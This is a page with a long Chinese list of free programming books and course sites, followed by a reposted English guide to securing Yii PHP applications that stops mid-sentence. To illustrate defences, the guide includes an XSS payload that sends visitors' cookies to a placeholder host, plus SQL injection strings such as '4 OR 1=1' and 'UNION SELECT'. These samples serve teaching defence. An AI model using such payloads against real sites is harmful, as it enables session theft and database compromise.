深入理解并行编程
程序员的自我修养
Growth: 全栈增长工程师指南
语言相关类
Android
Android Design(中文版)
Google Material Design 正體中文版 (译本一 译本二)
Material Design 中文版
Google Android官方培训课程中文版
Android学习之路
Android开发技术前线(android-tech-frontier)
Point-of-Android Android 一些重要知识点解析整理
Android6.0新特性详解
APP
Apache Cordova 开发指南
AWK
awk程序设计语言
awk中文指南
C/C++
C/C++ 中文参考手册 (欢迎大家参与在线翻译和校对)
C 语言编程透视
C++ 并发编程指南
Linux C编程一站式学习 (宋劲杉, 北京亚嵌教育研究中心)
CGDB中文手册
100个gdb小技巧
100个gcc小技巧
ZMQ 指南
How to Think Like a Computer Scientist (中英文版)
跟我一起写Makefile(PDF)
GNU make中文手册
GNU make 指南
Google C++ 风格指南
C/C++ Primer (by @andycai)
简单易懂的C魔法
Cmake 实践 (PDF版)
C++ FAQ LITE(中文版)
C++ Primer 5th Answers
C++ 并发编程(基于C++11)
QT 教程
DevBean的《Qt学习之路2》(Qt5)
C++ Template 进阶指南
libuv中文教程
Boost 库中文教程
笨办法学C
C#
MSDN C# 中文文档
.NET 类库参考
ASP.NET MVC 5 入门指南
超全面的 .NET GDI+ 图形图像编程教程
.NET控件开发基础
.NET开发要点精讲(初稿)
Clojure
Clojure入门教程
CSS/HTML
学习CSS布局
通用 CSS 笔记、建议与指导
CSS参考手册
Emmet 文档
前端代码规范 (腾讯 AlloyTeam 团队)
HTML和CSS编码规范
Sass Guidelines 中文
CSS3 Tutorial 《CSS3 教程》
MDN HTML 中文文档
MDN CSS 中文文档
Dart
Dart 语言导览
Elixir
Elixir编程入门
Erlang
21天学通Erlang
Fortran
Fortran77和90/95编程入门
Go
Go编程基础
Go入门指南
学习Go语言
Go Web 编程 (此书已经出版,希望开发者们去购买,支持作者的创作)
Go实战开发 (当我收录此项目时,作者已经写完第三章,如果读完前面章节觉得有帮助,可以给作者捐赠,以鼓励作者的继续创作)
Network programming with Go 中文翻译版本
Effective Go
Go 语言标准库
Golang标准库文档
Revel 框架手册
Java程序员的Golang入门指南
Go命令教程
Go语言博客实践
Go 官方文档翻译
深入解析Go
Go语言圣经(中文版) (GitBook)
Groovy
实战 Groovy 系列
Haskell
Real World Haskell 中文版
Haskell趣学指南
iOS
iOS开发60分钟入门
iOS7人机界面指南
Google Objective-C Style Guide 中文版
iPhone 6 屏幕揭秘
Apple Watch开发初探
马上着手开发 iOS 应用程序
网易斯坦福大学公开课:iOS 7应用开发字幕文件
Java
Apache Shiro 用户指南
Jersey 2.x 用户指南
Spring Framework 4.x参考文档
Spring Boot参考指南 (翻译中)
MyBatis中文文档
MyBatis Generator 中文文档
用jersey构建REST服务
Activiti 5.x 用户指南
Google Java编程风格指南
Netty 4.x 用户指南
Netty 实战(精髓)
REST 实战
Java 编码规范
Apache MINA 2 用户指南
H2 Database 教程
Java Servlet 3.1 规范
JSSE 参考指南
Java开源实现及最佳实践
Java 编程要点
Think Java
Java 8 简明教程
JavaScript
Google JavaScript 代码风格指南
Google JSON 风格指南
Airbnb JavaScript 规范
JavaScript 标准参考教程(alpha)
Javascript编程指南 (源码)
javascript 的 12 个怪癖
JavaScript 秘密花园
JavaScript核心概念及实践 (PDF) (此书已由人民邮电出版社出版发行,但作者依然免费提供PDF版本,希望开发者们去购买,支持作者)
《JavaScript 模式》 “JavaScript patterns”中译本
命名函数表达式探秘 (注:原文由为之漫笔翻译,原始地址无法打开,所以此处地址为我博客上的备份)
学用 JavaScript 设计模式 (开源中国)
深入理解JavaScript系列
ECMAScript 5.1 中文版
ECMAScript 6 入门 (作者:阮一峰)
JavaScript Promise迷你书
You-Dont-Know-JS (深入JavaScript语言核心机制的系列图书)
JavaScript 教程 廖雪峰
MDN JavaScript 中文文档
jQuery
jQuery 解构
简单易懂的JQuery魔法
How to write jQuery plugin
You Don't Need jQuery
如何实现一个类jQuery?
Node.js
Node入门
七天学会NodeJS
Nodejs Wiki Book (繁体中文)
express.js 中文文档
koa 中文文档
一起学koa
使用 Express + MongoDB 搭建多人博客
Express框架
Node.js 包教不包会
Learn You The Node.js For Much Win! (中文版)
Node debug 三法三例
nodejs中文文档
orm2 中文文档
underscore.js
Underscore.js中文文档
backbone.js
backbone.js中文文档
backbone.js入门教程 (PDF)
Backbone.js入门教程第二版
Developing Backbone.js Applications(中文版)
AngularJS
AngularJS最佳实践和风格指南
AngularJS中译本
AngularJS入门教程
构建自己的AngularJS
在Windows环境下用Yeoman构建AngularJS项目
Zepto.js
Zepto.js 中文文档
Sea.js
Hello Sea.js
React.js
React.js 中文文档
React webpack-cookbook
React 入门教程
React Native 中文文档(含最新Android内容)
Learn React & Webpack by building the Hacker News front page
impress.js
impress.js的中文教程
CoffeeScript
CoffeeScript Cookbook
The Little Book on CoffeeScript中文版
CoffeeScript 编码风格指南
TypeScipt
TypeScript Handbook
ExtJS
Ext4.1.0 中文文档
Meteor
Discover Meteor
Meteor 中文文档
Angular-Meteor 中文教程
Chrome扩展及应用开发
LaTeX
一份其实很短的 LaTeX 入门文档
一份不太简短的 LATEX 2ε 介绍 (PDF版)
LISP
Common Lisp
ANSI Common Lisp 中文翻譯版
On Lisp 中文翻译版本
Scheme
Yet Another Scheme Tutorial Scheme入门教程
Scheme语言简明教程
Racket
Racket book
Lua
Lua编程入门
Lua 5.1 参考手册 中文翻译
Lua 5.3 参考手册 中文翻译
Lua源码欣赏
OCaml
Real World OCaml
Perl
Modern Perl 中文版
Perl 程序员应该知道的事
PHP
PHP 官方手册
PHP调试技术手册(PDF)
PHP之道:php-the-right-way (@wulijun版 PHPHub版)
PHP 最佳实践
PHP 开发者实践
深入理解PHP内核
PHP扩展开发及内核应用
Laravel5.1 中文文档
Laravel 5.1 LTS 速查表
Symfony2 Cookbook 中文版(版本 2.7.0 LTS)
Symfony2中文文档 (未译完)
YiiBook几本Yii框架的在线教程
深入理解 Yii 2.0
Yii 框架中文文檔
简单易懂的PHP魔法
swoole文档及入门教程
Composer 中文网
Slim 中文文档
Lumen 中文文档
PHPUnit 中文文档
Prolog
笨办法学Prolog
Python
廖雪峰 Python 2.7 中文教程
廖雪峰 Python 3 中文教程
简明Python教程
零基础学 Python 第一版
零基础学 Python 第二版
可爱的 Python
Python 2.7 官方教程中文版
Python 3.3 官方教程中文版
Python Cookbook 中文版
Python3 Cookbook 中文版
深入 Python
深入 Python 3
PEP8 Python代码风格规范
Google Python 风格指南 中文版
Python入门教程 (PDF)
笨办法学 Python (PDF EPUB)
Python自然语言处理中文版 (感谢陈涛同学的翻译,也谢谢@shwley 联系了作者)
Python 绘图库 matplotlib 官方指南中文翻译
Scrapy 0.25 文档
ThinkPython
ThinkPython 2ed
Python快速教程
Python 正则表达式操作指南
python初级教程:入门详解
Twisted 与异步编程入门
TextGrocery 中文 API ( 基于svm算法的一个短文本分类 Python 库 )
Requests: HTTP for Humans
Pillow 中文文档
PyMOTW 中文版
Python 官方文档中文版
Fabric 中文文档
Beautiful Soup 4.2.0 中文文档
用Python做科学计算
Sphinx 中文文档
精通 Python 设计模式
python 安全编程教程
程序设计思想与方法
知乎周刊·编程小白学Python
Scipy 讲义
Python 学习笔记 基础篇
Python 学习笔记 模块篇
Python 标准库 中文版
Python进阶
Python 核心编程 第二版 CPyUG译
Python最佳实践指南
Python 精要教程
Python 量化交易教程
Django
Django 1.5 文档中文版 正在翻译中
Diango 1.7 文档中文版 正在翻译中,目前只翻译了目录
Django 1.8.2 文档中文版 正在翻译中
Django 最佳实践
Django搭建简易博客教程
The Django Book 中文版
Django 设计模式与最佳实践
Django 网站开发 Cookbook
Django Girls 學習指南
Flask
Flask 文档中文版
Jinja2 文档中文版
Werkzeug 文档中文版
Flask之旅
Flask 扩展文档汇总
Flask 大型教程
SQLAlchemy 中文文档
web.py
web.py 0.3 新手指南
Web.py Cookbook 简体中文版
Tornado
Introduction to Tornado 中文翻译
Tornado源码解析
Tornado 4.3 文档中文版
R
R语言忍者秘笈
Ruby
Ruby 风格指南
Rails 风格指南
笨方法學 Ruby
Ruby on Rails 指南
Ruby on Rails 實戰聖經
Ruby on Rails Tutorial 原书第 3 版 (本书网页版免费提供,电子版以 PDF、EPub 和 Mobi 格式提供购买,仅售 9.9 美元)
Rails 实践
Rails 5 开发进阶(Beta)
Rails 102
编写Ruby的C拓展
Ruby 源码解读
Ruby中的元编程
Rust
rust book 中文翻译
rust primer
Scala
Scala课堂 (Twitter的Scala中文教程)
Effective Scala(Twitter的Scala最佳实践的中文翻译)
Scala指南
Shell
Shell脚本编程30分钟入门
Bash脚本15分钟进阶教程
Linux工具快速教程
shell十三问
Shell编程范例
Swift
The Swift Programming Language 中文版
Swift 语言指南
Stanford 公开课,Developing iOS 8 Apps with Swift 字幕翻译文件
C4iOS - COSMOS
读书笔记及其它
编译原理(紫龙书)中文第2版习题答案
把《编程珠玑》读薄
Effective C++读书笔记
Golang 学习笔记、Python 学习笔记、C 学习笔记 (PDF)
Jsoup 学习笔记
学习笔记: Vim、Python、memcached
图灵开放书翻译计划--C++、Python、Java等
蒂姆·奥莱利随笔 (由译言网翻译,电子版免费)
SICP 解题集
精彩博客集合
中文文案排版指北
Standard C 语言标准函数库速查 (Cheat Sheet)
Git Cheatsheet Chs
GitBook简明教程
JavaScript语言精粹
制造开源软件
提问的智慧
Markdown 入门参考
AsciiDoc简明指南
背包问题九讲
老齐的技术资料
前端技能汇总
借助开源项目,学习软件开发
前端工作面试问题
leetcode/lintcode题解/算法学习笔记
前端开发笔记本
测试相关
移动APP自动化测试优秀框架Appium API Reference V1.2.0 CN
在线教育
51CTO学院
Codecademy
CodeSchool
Coursera
Learn X in Y minutes (数十种语言快速入门教程)
shiyanlou
TeamTreeHouse
Udacity
xuetangX
慕课网 (丰富的移动端开发、php开发、web前端、html5教程以及css3视频教程等课程资源)
极客学院
计蒜客
本文转自玄魂博客园博客,原文链接:http://www.cnblogs.com/xuanhun/p/6044143.html,如需转载请自行联系原作者
How to write secure Yii applications
http://www.yiiframework.com/wiki/275/how-to-write-secure-yii-applications
http://www.yiiframework.com/doc/guide/1.1/zh_cn/topics.security
http://yjlblog.com/yii%e6%a1%86%e6%9e%b6%e5%bc%80%e5%8f%91%e5%ae%89%e5%85%a8%e8%80%83%e8%99%91/
warning: While this security guide tries to be quite complete, is not exhaustive. If security matters for you, you ought to check several other references.
General principles
¶
Validate the user input (see below for details).
Protect (escape) your application output according to context (see below for a few output types, mostly HTML and SQL).
Test your application in debug mode.
Set the constant YII_DEBUG to true (by default, it is defined in
index.php) and put alongside error_reporting(E_ALL);. Then errors and warnings will stop the execution and Yii will display the message, the source code and the call stack. Even an undefined key in an array (which is just a "E_NOTICE" level)
can cause security problems.
Disable the debug mode in production.
Make sure your error messages don't contain sensitive information.
Whenever possible, filter by white-list instead of by black-list, i.e. allow only data that is in an authorized list.
In production, keep logs. Parse them regularly for warnings and errors.
There are two levels of logs : application logs (handled by Yii) and server logs (handled by PHP and usually Apache). Yii logs are described inThe Definitive Guide to Yii, Logging. PHP
logs are usually on by default. Please check your server configuration and your rights on the file system for accessing these log files.
Validating the user input
¶
How it works
¶
If a user can add its birth date to its profile, you have to make sure he gives a valid date. It's not only helpful to prevent mistypes, it also provides better security. Verifying the input is in the form "1951-01-25" will forbid dangerous texts that try
to attack your database's SQL or your website's HTML. Validation is not a perfect protection, but it's an excellent first step.
Client-side validation
¶
Validating a form with JavaScript has absolutely no impact on the security! It should only be meant as a way to enhance the interface and its comfort of use.
The HTML restriction are the same. For instance, if a page has a form containing:
<input type="hidden" name="id" value="1" />
<input type="text" name="date" size="10" />
<select name="list"><option>1</option><option>2</option></select>
The data received in the PHP application can contain anything. The "id", "date" and "list" fields can be big strings or arrays. For example, a user can modify the HTML source of the page to replace both fields by text areas.
How Yii can help
¶
Yii provides specific ways that can be used instead or along the usual PHP ways. For reference, the recommended way without Yii is mostly to use type casts and theFilter extension.
Validating through a model
Most of the times, the user input will be sent to a model. Models will generally extendCFormModel or
CActiveRecord. Both of them derive from the classCModel. This class has a methodrules() that declares how the validation will process. The additional tests can be done with
behaviors or thebeforeValidate() method.
The controller:
<?php
// In the controller
$model = new Comment;
$model->attributes = $_POST['Comment'];
if ($model->save()) { // validates and save
$this->redirect(array('view', 'id' => $model->id));
} else {
// Could not validate, or could not save
}
The model:
<?php
// In the model
class Comment extends CActiveRecord
{
public function rules()
{
return array(
array('parent', 'numerical', 'integerOnly' => true),
array('strangedata', 'customValidateForStrangedata'),
array('description', 'length', 'max' => 255),
);
}
// extended validation, run before the rules set above
protected function beforeValidate()
if (!empty($this->description) && substr_count($this->description, '"') % 2 !== 0) {
$this->addError("description", "Odd number of quotes");
// return false; // stop validation
}
return parent::beforeValidate();
}
/** @return boolean Continue the validation process? */
protected function customValidateForStrangedata($attribute, $params)
{
$this->addError($attribute, "validation failed");
return false;
}
You should pay extra care to your validation. It keeps your data clean, and that not only useful for security. Many kind of rules are already declared, and you can add your own. You can also apply some rules only in a given context, e.g. validate a field
only when the record is modified ("update" scenario"), not when the record is created ("insert" scenario).
To go further:
The Definitive Guide to Yii 1.1:
Form Models, declaring validation rules
The Definitive Guide to Yii 1.1:
Active Record, data validation
Wiki:
Reference: Model rules validation
API: CModel
Yii 1.1 validator cheat-sheet
Validating in a controller
Some light user input will be handled directly by the controller. In this case,you should use a PHP type cast. This happens frequently for numeric IDs where you should use(int).
<?php
// insecure (see below for restrictions)
$model = Post::model()->findByPk($_GET['id']);
// secure
$model = Post::model()->findByPk((int) $_GET['id']);
If the input is not expected to be an integer, then consider making go through a model validation.
Side note on the last example
In fact, Yii will help, even in the first case. The method
findByPk() uses the table schema to ensure that a numeric column only gets numeric criteria. See theSQL Injection section for more details. Yet, there are cases
where this automatic protection might not be enough. What if a malicious user enters the querycomment/delete?id[]=2\&id[]=1? Then
$_GET['id'] would become an array, and if this id is not validated, it can induce strange effects, and possible security breaches (but not withfindByPk).
HTML output and XSS
¶
If the application prints unfiltered user input inside a HTML page, then it allows a malicious user to change the display of this page, and to inject client code (usually JavaScript) that can be run by other users. One typical use of these XSS attacks is
to steal user sessions.
One note on vocabulary: filtering data for security concerns is often called
escaping.
Example
¶
Here is a extract of a view. The page just shows a user profile.
< h2>Profile of <?php echo $user->name ?></h2>
Other unfiltered outputs:
<a href="/posts?name=<?php echo $user->login ?>"
title='<?php echo $user->name ?>'>See my posts</a>
Now suppose the user's name is:
Joe<script>document.write('<img src="http://x.com/save.php?cookie='+getCookie()+'" />');function getCookie(){...}</script>
Then everyone that consults this profile will send an HTTP request for an external image, and this request will contain data describing the visitor's cookies.
PHP provides several functions that protect the output. The most useful one ishtmlspecialchars() but just in the example above,
rawurlencode() andhtmlspecialchars(, ENT_QUOTES) would also be necessary.
How Yii can help
¶
Plain text
If you want to print plain text in a HTML page, use CHtml::encode(). Here is an example:
<h2>Profile of <?php echo CHtml::encode($user->name) ?></h2>
This function is in fact a wrapper on htmlspecialchars() with your application's characters set (to be exact, it's not a charset but a character encoding). So if your texts are not (yet) in UTF-8, you should declare a charset in the global config
(e.g. 'charset' => 'ISO-8859-1' in the first level of "protected/config/main.php").
You may want to apply strip_tags(), to remove HTML/XML tags before escaping. Beware, this function is not secure, so do not use it withoutCHtml::encode().
Rich text (HTML)
If you want to allow HTML in the user input, then you have to display it raw. Soyou should filter the HTML data (before saving it or after reading it, at your choice, though the former is recommended for performance reasons). Do not try
to filter it yourself, several PHP libraries already exist. The most well-known isHtml Purifier, and it has been incorporated in Yii. For details, see the sectionSecurity,
XSS in "The Definitive Guide to Yii".
<li class="comments">
<?php
$purifier = new CHtmlPurifier();
$purifier->options = array(
'HTML.Allowed', 'p,a[href],b,i',
);
foreach (Comment::model()->findAll() as $comment) {
// This can be dangerous
//echo "<li>" . $comment->text . "</li>\n";
// Safe output (but slow)
echo "<li>" . $purifier->purify($comment->text) . "</li>\n";
}
?>
</li>
Allowing the user to enter HTML text can be useful, especially with Rich Text Editors like TinyMCE or FckEditor, but you may alsoconsider using templating languages, like Markdown or wiki syntax. Regarding security, the benefit is that the
application converts to HTML, so the risk of XSS is low.
To go further:
HTML Purifier's doc. The end-user documentation contains a few thematic tutorials, like"Customize". TheConfiguration
Reference lists all the options you can use withCHtml::Purifier but it lacks examples.
CMarkdown
Special cases: URLs, CSS, etc
¶
URL
To escape a string in an URL:
use rawUrlEncode() for url parts,
use urlEncode() for url parameters.
Here is an example of several cases in JavaScript and HTML:
<script>var a = "http://x.com/<?php echo rawUrlEncode($query) ?>"; </script>
<a href="/search/<?php echo rawUrlEncode($query)) ?>">Escape url parts</a>
<a href="/?param=<?php echo urlEncode($param) ?>">Escape URL parameters</a>
<a href="<?php echo CHtml::encode($url . "&param=" . urlEncode($param)) ?>">Escape whole URLs</a>
CHtml::encode() cannot be used alone here because it could produce an invalid URL, for example with $query = '?x="N & B"'. But it cannot be removed since ampersands "&" have to be replaced by "&amp;".
CSS
¶
Use Html Purifier. See the section on "Rich text (HTML)".
JavaScript
¶
If you need to write from PHP to JavaScript, you should use the static methods ofCJavaScript.
<?php
$messages = array("Rock'n roll", 'Say "hello"');
$title = "D'accord";
Yii::app()->clientScript->registerScript('snippet', "
function displayMsg() {
var messages = <?php echo CJavaScript::encode($messages); ?>;
var title = '<?php echo CJavaScript::quote($title); ?>';
// ...
}
");
There is a special case where you do not want Yii to quote a string that is already valid in JS. In this case, you have to prefix your string with "js:", the prefix will be removed and the rest will be unchanged.
<?php
$this->widget(
'zii.widgets.jui.CJuiAutoComplete',
array(
'name' => 'field_name', // Yii applies CJavaScript::quote to each value
'source' => 'js:function(request, response) { $.ajax({...}) }', // "js:" before the JS code
SQL Injections
¶
How it works
¶
When some user data is put unfiltered in a SQL query, it allows a malicious user to send its own SQL in the query.
<?php
// warning, dangerous code
Yii::app()->db
->createCommand("DELETE FROM mytable WHERE id = " . $_GET['id'])
->execute();
$comments = Comment::model->findAll("user_id = " . $_GET['id']);
If the GET parameter id is "4 OR 1=1" then someone who has the right to delete comment #4 will probably be able to delete all the other comments (it depends on how the authorization is granted, but that's another story). In the second request, it would be
possible to read the content of the whole DB with input like "2 UNION SELECT ...".
How Yii can help
¶
Use a PHP syntax instead of raw SQL
Instead of the code of the example above, what follows is far more secure:
<?php
// still lacks validation (see "Validating user input" above), but more secure
MyModel::model()->findByPk($_GET['id'])->delete();
// uses validation with a type cast
$comments = Comment::model->findAllByAttributes(array('user_id' => (int)$_GET['id']);
This is a general principle: if you build your SQL condition in pure text, you take more risks than a more PHP approach. For most DB functions,prefer array parameters to string parameters. Here is another example using PHP arrays:
<?php
// warning: potential sql injection
$comments = Comment::model->findAll("post_id = $postId AND author_id IN (" . join(',', $ids) . ")");
// secure (note how an array value is gives a "IN" since Yii
$comments = Comment::model->findAllByAttributes(array("post_id" => $postId, "author_id" => $ids));
Prepared statements
The are still cases where writing raw SQL is needed. Consider a simple query that has 2 parameters:
SELECT CONCAT(prefix, title) AS title, author_id, post_id, submit_date
FROM t_comment
WHERE (date > '{$date}' OR date IS NULL) AND title LIKE '%{$text}%'
There are 2 ways to secure this:
Escape each parameter (not recommended).
Use a prepared statement (recommended).
If you really want to escape each parameter, you can use
CDbConnection::quoteValue(). For example, "date > '{$date}'" would become"date > " . Yii::app()->db->quoteValue($date).
Prepared statements is a way to declare parameters in your SQL. Depending on your configuration, the incomplete query will be compiled by the SQL server, then the values will be inserted at the right places (the actual behavior may vary because this process
could be emulated from PHP, especially if the SQL engine doesn't allow it).
Prepared statements removes any risk of SQL injection in the parameters. (Yet, beware, not everything is a parameter).
There are two ways to write this in Yii:
<?php
// Note the parameters are written :param without surrounding quotes
$sql = "SELECT CONCAT(prefix, title) AS title, author_id, post_id, date "
. "FROM t_comment "
. "WHERE (date > :date OR date IS NULL) AND title LIKE :text"
// 1st way, using explicit binds
$command = Yii::app()->db->createCommand($sql);
$command->bindParam(":date", $date, PDO::PARAM_STR);
$command->bindParam(":text", "%{$text}%", PDO::PARAM_STR);
$results = $command->execute();
// second way
$command = Yii::app()->db->createCommand($sql);
$results = $command->execute(array(':date' => $date, ':text' => "%{$text}%"));
The first syntax with explicit bindings is a bit heavier, but it has the advantage of defining the parameter's type.
When retrieving models from the DB, the syntax is simple:
<?php
$comments = Comment::model->findAllBySql($sql, array(':date' => $date, ':text' => "%{$text}%"));
If you don't feel at ease with the Yii way to query databases, please read the whole tutorialWorking with Databases in "The Definitive Guide to Yii". The sectionDatabase
Access Objects has more details on binding parameters.
Side note on LIKE conditions
Even if no SQL injection in possible in the previous queries, there is still room for improvement. The SQL functionLIKE has a special treatment for the characters "_" and "%". In many cases, this is not a problem, with mostly unexpected results.
But if the data queried is huge, then transforming a"begin%" condition into
"%s%a%" condition can make the query so heavy that it slows the SQL server, because no index can be used for the later. Soyou should protect the characters "%" and "_" when the user input is going into a LIKE condition, for example
withstr_replace(). See further for example of how
CDbCriteria::compare() or
CDbCriteria::addSearchCondition() can simplify this.
Side note on positional parameters
As of now (Yii 1.1.8), the framework does not recognized positional parameters marked with "?". You have to usednamed parameters whose names begin with ":".
Side note on performance
A lone prepared statement is a bit slower than a non prepared one. This is probablynot a performance bottleneck for your application. But if you want to run several times the same query with variable bound parameters, then the prepared statements
will be faster. Of course, none of this does apply when PHP emulates preparation.
When prepared statements aren't enough
As written above, prepared statements remove any risk of SQL injection in the parameters. Alas, there will be times when you need to use variables for parts of the SQL query that cannot use prepared statements.
SELECT *
FROM {$mytable}
WHERE {$myfield} LIKE '{$value}%' AND post_date < {$date}
ORDER BY {$myfield}
LIMIT {$mylimit}
The traditional way to solve this problem in pure PHP is to have white-lists of accepted values for each part. But Yii provide several ways to help. The first one is that Yii knows your DB schema, so you can write:
<?php
if (!Comment::model()->hasAttribute($myfield)) {
die("Error");
}
A very specific solution to build a secure SQL query is to use the "Query Builder", available since Yii 1.1.6. This is a way to write a complete SQL query in pure PHP, but it cannot be mixed with other approaches (raw SQL, CDbCriteria, etc). See the sectionQuery
Builder in "The Definitive Guide to Yii".
Most of the time, your expected result is to be parsed as models, so you can usefind*() methods with
CDbCriteria to build a more secure query. For example:
<?php
// Yii applies some validity checks when the query is not raw SQL
$criteria = new CDbCriteria(
array(
'order' => $myfield,
'limit' => $mylimit,
)
);
$criteria->compare($myfield, $value, true); // LIKE % escaped($value) %
$criteria->compare('post_date', '<:date');
$criteria->params = array(':value' => $value, ':date' => $date);
$comments = Comment::model()->findAll($criteria)
This is especially useful if you intend to use
CGridView which is what Gii (the official scaffolding tool) suggests.
CGridView expects a
CDataProvider which uses
CDbCriteria, so you don't have to pay too much attention to the user search input.
To be complete, here is another syntax for the previous example:
<?php
// Yii applies some validity checks when the query is not raw SQL
$criteria = new CDbCriteria();
$criteria->order = $myfield;
$criteria->limit = $mylimit;
$criteria->addSearchCondition($myfield, $value, true); // true ==> LIKE '%...%'
$criteria->addCondition("post_date < :date");
$comments = Comment::model()->findAll($criteria, array(':value' => $value, ':date' => $date));
Summary on SQL injection
¶
In the following lists, the firsts choices are the easiest to secure, but it doesn't mean the last items are not secure.
When results are models, chose the first element of the list that matches your needs:
CActiveRecord::findByPk() orCActiveRecord::findAllByPk()
CActiveRecord::findByAttributes() orCActiveRecord::findAllByAttributes()
X::model()->find($criteria, array(':param1' => $value1)) or
->findAll(...)
X::model()->find($sql, array(':param1' => $value1)) or ->findAll(...)
X::model()->findBySql($sql, array(':param1' => $value1)) or
->findAll(...)
When results are not model, use prepared statements:
<?php
$r = Yii::app()->db
->createCommand($sql)
->queryAll(array(':param1' => $value1));
And don't forget to validate the input before this!
Cross-site Request Forgery (CSRF)
¶
See
The Definitive Guide to Yii, CSRF.
Please note that HTTP requests that modify the server state (create, update, delete) should be with the POST protocol. This is a good practice, as recommended by REST, and it helps web browser to prevent accidental re-send of these requests. But a POST request
in itself does not prevent CSRF, it provides almost no improvement on security. Fortunately, Yii has a mechanism (disabled by default) that can be used to protect them from forgery.
Configure the web server
¶
This section will only consider a UNIX (Linux, BSD, OSX) web server Apache with PHP as a module. Other configurations (Windows, nginx, PHP-fpm, etc) may require different settings, though the principles are the same.
Set up different environments
¶
When Yii runs with the constant YII_DEBUG set to true, it can show valuable information to an attacker (setting aside the performance penalty). For instance, suppose an attacker finds a validation miss in your application: when a form is spoofed
to send an array value in a field, a PHP function will receive incorrect parameters. In debug mode, Yii will then print the call stack, with the context of each call made in user code.
Unfortunately, by default the debug mode is set up in the index.php file of your application. So the code has to be changed when running a development, a testing or a production instance. One solution can be to use a DVCS to track local changes
and rebase them (fast-forward in git jargon). The drawback is that the various configurations are handled locally, in several branches.
The recommended solution is to rewrite the index.php file so that it reads the debug configuration:
from an external file,
or from the web server environment.
Apache can set environment variables with the syntax
SetEnv YII_ENV testing
This can be set in the global configuration files (in a VirtualHost or Directory), or in a.htaccess file. Then PHP can access this variable through
$_SERVER["YII_ENV"] and default to "production mode" if it isn't set.
For a Yii application
¶
The directory containing the framework should not be under the document root of your server (there is no reason a user could access to files like "yiilite.php" in its web browser).
Three directories must be writable by the web server: "assets", "protected/data" and "protected/runtime".The web server should only have read access to everything else. This way, an attacker could only create/modify a file
in these directories. The folder "assets" is especially dangerous since it is writable, and there is a direct HTTP access to it. Therefore, the PHP files it contains should not be interpreted but treated as plain text (see the example below).
Yii's default application have ".htaccess" files to forbid direct web access to "protected/" and "themes/classic/views/". It is a bit safer (and faster) to put this configuration in the global configuration of Apache. Here is an example that also disables
PHP files in "assets/".
[apache]
# Example config for Yii-myapp and Apache
# Please set the pathes to their right values
# put the application in some custom url
# (instead of an Apache alias, a symbolic link can be used)
Alias /web/path/for/myapp "/home/myapp/www"
<Directory "/home/myapp/www">
AllowOverride None
</Directory>
<Directory "/home/myapp/www/protected">
Deny from All
</Directory>
<Directory "/home/myapp/www/assets">
php_admin_flag engine off
Options -Indexes
</Directory>
Instead of the previous configuration, here is an example of putting a Yii application in a Virtual Host.
[apache]
# Example config for Yii-myapp as an Apache VirtualHost
# Please set the pathes to their right values
<VirtualHost *:80>
ServerName myapp.com
DocumentRootAlias /home/myapp/www
ErrorLog /var/log/apache2/myapp-error.log
CustomLog /var/log/apache2/myapp-access.log common
<Directory "/home/myapp/www">
AllowOverride None
php_flag register_globals Off
php_flag gpc_magic_quotes Off
# <IfModule mod_rewrite.c>
# # The following block is for masking "index.php" in the url
# # We also need to configure the app: urlManager.showScriptName = false
# Options +FollowSymLinks
# IndexIgnore */*
# RewriteEngine on
# RewriteCond %{REQUEST_FILENAME} !-f
# RewriteCond %{REQUEST_FILENAME} !-d
# RewriteRule . index.php
# </IfModule>
</Directory>
<Directory "/home/myapp/www/protected">
Deny from All
</Directory>
<Directory "/home/myapp/www/assets">
php_admin_flag engine off
Options -Indexes
</Directory>
</VirtualHost>
For every PHP project
¶
A few useful directives:
Directive
Comment
allow_url_include
Should be off (PHP 5.2).
register_globals
This is obsolete and dangerous. Should be off.
magic_quotes_gpc
Important for many PHP applications, but Yii negates its effect. Should be off.
open_basedir
Can restrict PHP to access only some directories. Use with caution.
display_errors
Should be off in production.
error_reporting
Should always include at least E_ERRORS. See the
official documentation.
This directives can be set in the global "php.ini" file. If Apache has AllowOverride Options, then ".htaccess" can be used.
[apache]
# .htaccess file
php_flag display_errors off
php_value error_reporting -1
One can also use php_admin_flag and php_admin_flag to set config parameters that can't be changed dynamically with ".htaccess" orini_set(). Here is an example in an Apache config file.
[apache]
# Apache config file
<Directory "/var/www/myapp">
php_admin_value open_basedir /var/www/myapp/:/tmp/
</Directory>
SSL is out of the scope of this wiki page.
Authorization
¶
Authorization is ensuring users only have access to the resources they have permissions on. This is a lengthy subject, and Yii provides many useful classes to handle permissions and roles. To learn about this, please readThe Definitive Guide to Yii
from
Access Control Filter to
Using Business Rules.
Another useful resource is in the wiki:
Getting to Understand Hierarchical RBAC Scheme. For a more practical but limited case, seeCPhpAuthManager - how it works.
There are also severalextensions
that can help you to set up the authorization system of your application.
Authentication
¶
Password strength
¶
The validation rule must reject any weak password. Writing its own validation method is easy: just require a minimum size, and check that different classes of characters are present. You can also use a ready-made solution, the extensionepasswordstrength.
<?php
class User extends CActiveRecord
{
public function rules()
{
return array(
array('password', 'checkPasswordStrength'),
);
}
protected function checkPasswordStrength($attribute, $params)
{
$password = $this->$attribute;
$valid = true;
$valid = $valid && preg_match('/[0-9]/', $password); // digit
$valid = $valid && preg_match('/\W/', $password); // non-alphanum
// ... other rules ...
$valid = $valid && (strlen($password) > 7); // min size
if ($valid) {
return true;
} else {
$this->addError($attribute, "Not secure enough");
return false;
}
}
Providing a client-side validation in JavaScript can be useful, since the user will know immediately if its password is secure. But don't forget this must not replace the validation in PHP. In fact, it makes validation a bit harder because your PHP validation
must be the same as your JS validation. To be precise, it can be weaker than the JS, but it has to follow similar criteria. There is also an extension for this,estrongpassword.
Encrypting passwords
¶
This section considers only internal authentication, i.e. through passwords managed by the application. It does not consider LDAP, SSO, OpenID, or any other external service.
If the authentication process is internal, then of course you shouldn't store the passwords in plain text. The easiest solution for encryption is to use the well-known libraryPHPass. With Yii, it can be as simple
as the following "User" model:
<?php
// autoload "protected/lib/PasswordHash.php"
Yii::import('application.lib.PasswordHash');
class User extends CActiveRecord
{
public function validatePassword($password) // $password is the user input
{
// Try to use stronger but system-specific hashes, with a possible fallback to
// the weaker portable hashes.
$hasher = new PasswordHash(8, FALSE);
return $hasher->checkPassword($password, $this->password);
}
public function beforeSave()
{
// Replace the raw password with the hashed one
if (isset($this->password)) {
$hasher = new PasswordHash(8, FALSE);
$this->password = $hasher->HashPassword($this->password);
}
return parent::beforeSave();
}
What the library PHPass does is applying random salting, choosing the best encrypting algorithm available, iterating it a high number of times... Nothing really hard to code by oneself, but why reinvent the wheel. And the author is a security expert, he
